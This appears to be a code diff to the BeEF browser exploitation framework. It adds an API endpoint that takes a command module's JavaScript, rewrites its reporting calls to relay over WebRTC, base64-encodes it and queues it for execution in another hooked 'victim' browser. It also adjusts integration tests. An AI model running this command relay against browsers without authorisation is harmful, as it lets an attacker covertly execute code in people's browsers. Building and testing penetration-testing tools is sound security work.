+ # http://127.0.0.1:3000/api/webrtc/cmdexec\?token\=df67654b03d030d97018f85f0284247d7f49c348
+ #
+ post '/cmdexec' do
+ begin
+ body = JSON.parse(request.body.read)
+ fromhb = body['from']
+ tohb = body['to']
+ cmdid = body['cmdid']
+ cmdoptions = body['options'] if body['options']
+ cmdoptions = nil if cmdoptions.eql?("")
+
+ result = {}
+
+ unless [fromhb,tohb,cmdid].include?(nil)
+ # Find the module, modify it, send it to be executed on the tohb
+
+ # Validate the command module by ID
+ command_module = BeEF::Core::Models::CommandModule.first(
+ :id => cmdid)
+ error 404 if command_module.nil?
+ error 404 if command_module.path.nil?
+
+ # Get the key of the module based on the ID
+ key = BeEF::Module.get_key_by_database_id(cmdid)
+ error 404 if key.nil?
+
+ # Try to load the module
+ BeEF::Module.hard_load(key)
+
+ # Now the module is hard loaded, find it's object and get it
+ command_module = BeEF::Core::Command.const_get(
+ BeEF::Core::Configuration.instance.get(
+ "beef.module.#{key}.class"
+ )
+ ).new(key)
+
+ # Check for command options
+ if not cmdoptions.nil?
+ cmddata = cmdoptions
+ else
+ cmddata = []
+ end
+
+ # Get path of source JS
+ f = command_module.path+'command.js'
+ error 404 if not File.exists? f
+
+ # Read file
+ @eruby = Erubis::FastEruby.new(File.read(f))
+
+ # Parse in the supplied parameters
+ cc = BeEF::Core::CommandContext.new
+ cc['command_url'] = command_module.default_command_url
+ cc['command_id'] = command_module.command_id
+ cmddata.each{|v|
+ cc[v['name']] = v['value']
+ }
+ # Evalute supplied options
+ @output = @eruby.evaluate(cc)
+
+ # Gsub the output, replacing all beef.net.send commands
+ # This needs to occur because we want this JS to send messages
+ # back to the peer browser
+ @output = @output.gsub(/beef\.net\.send\((.*)\);?/) {|s|
+ tmpout = "// beef.net.send removed\n"
+ tmpout += "beefrtcs[#{fromhb}].sendPeerMsg('execcmd ("
+ cmdurl = $1.split(',')
+ tmpout += cmdurl[0].gsub(/\s|"|'/, '')
+ tmpout += ") Result: ' + "
+ tmpout += cmdurl[2]
+ tmpout += ");"
+ tmpout
+ }
+
+ # Prepend the B64 version of the string with @
+ # The client JS receives the rtc message, detects the @
+ # and knows to decode it before execution
+ msg = "@" + Base64.strict_encode64(@output)
+
+ # Finally queue the message in the RTC queue for submission
+ # from the from browser to the to browser
+ BeEF::Core::Models::Rtcmanage.sendmsg(fromhb.to_i, tohb.to_i,
+ msg)
+
+ result = {}
+ result['success'] = true
+ result.to_json
+ else
+ result = {}
+ result['success'] = false
+ result.to_json
+ end
+
+ rescue InvalidParamError => e
+ print_error e.message
+ halt 400
+ end
+ end
+
+
# Raised when invalid JSON input is passed to an /api/webrtc handler.
class InvalidJsonError < StandardError
diff --git a/test/integration/tc_webrtc_rest.rb b/test/integration/tc_webrtc_rest.rb
index 69b6c4c71..8fa1bc792 100644
--- a/test/integration/tc_webrtc_rest.rb
+++ b/test/integration/tc_webrtc_rest.rb
@@ -40,7 +40,7 @@ class TC_WebRTCRest < Test::Unit::TestCase
@@victim1 = BeefTest.new_victim
@@victim2 = BeefTest.new_victim
- puts "WebRTC Tests: Sleeping for 8 - waiting for 2 browsers to get hooked"
+ # puts "WebRTC Tests beginning"
sleep 8.0
# Fetch last online browsers' ids
@@ -95,7 +95,7 @@ class TC_WebRTCRest < Test::Unit::TestCase
result = JSON.parse(rest_response.body)
assert_equal true, result["success"]
- sleep 20.0
+ sleep 30.0
rest_response = nil
assert_nothing_raised do
@@ -237,7 +237,13 @@ class TC_WebRTCRest < Test::Unit::TestCase
return true if hb[1]["id"].eql?(@@victim2id)
}
end
-
+
+ end
+
+ def test_5_webrtc_execcmd # assumes test 2 has run
+ return if not @@activated
+
+ #
end